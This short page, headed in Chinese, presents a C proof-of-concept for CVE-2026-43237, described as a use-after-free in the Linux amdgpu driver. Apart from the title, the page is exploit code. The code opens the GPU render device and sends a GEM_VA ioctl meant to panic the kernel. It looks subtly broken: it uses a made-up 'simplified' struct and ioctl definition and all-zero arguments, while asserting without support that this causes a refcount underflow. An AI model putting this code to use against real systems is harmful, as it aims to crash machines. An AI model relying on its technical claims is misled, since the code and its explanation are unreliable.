CVE-2026-43237: Linux内核amdgpu驱动释放后重用漏洞

/* * PoC for CVE-2026-43237: Linux Kernel amdgpu Use-After-Free * This PoC demonstrates the IOCTL call flow that triggers the vulnerability. * It requires a system with an AMDGPU device and a vulnerable kernel version. * Compile: gcc -o poc_amdgpu poc_amdgpu.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> // AMDGPU DRM IOCTL definitions (simplified for PoC) #define DRM_AMDGPU_GEM_VA 0x00 #define DRM_IOCTL_AMDGPU_GEM_VA _IOWR(0x64, DRM_AMDGPU_GEM_VA, struct drm_amdgpu_gem_va) // Structure representing the arguments for the VA mapping IOCTL struct drm_amdgpu_gem_va { unsigned long long handle; unsigned long long operation; unsigned long long flags; unsigned long long va_address; unsigned long long offset_in_bo; unsigned long long map_size; }; int main() { int fd; struct drm_amdgpu_gem_va va_args; // Attempt to open the AMDGPU device (typically /dev/dri/renderD128) fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("[+] Attempting to trigger CVE-2026-43237...\n"); // Initialize arguments to simulate the condition causing refcount underflow memset(&va_args, 0, sizeof(va_args)); // Setting specific operation to trigger the vulnerable code path va_args.operation = 0; va_args.handle = 0; // The vulnerability occurs in the ioctl handling logic during fence management if (ioctl(fd, DRM_IOCTL_AMDGPU_GEM_VA, &va_args) < 0) { perror("Ioctl failed"); } else { printf("[+] Ioctl executed. Check kernel logs for panic/crash.\n"); } close(fd); return 0; }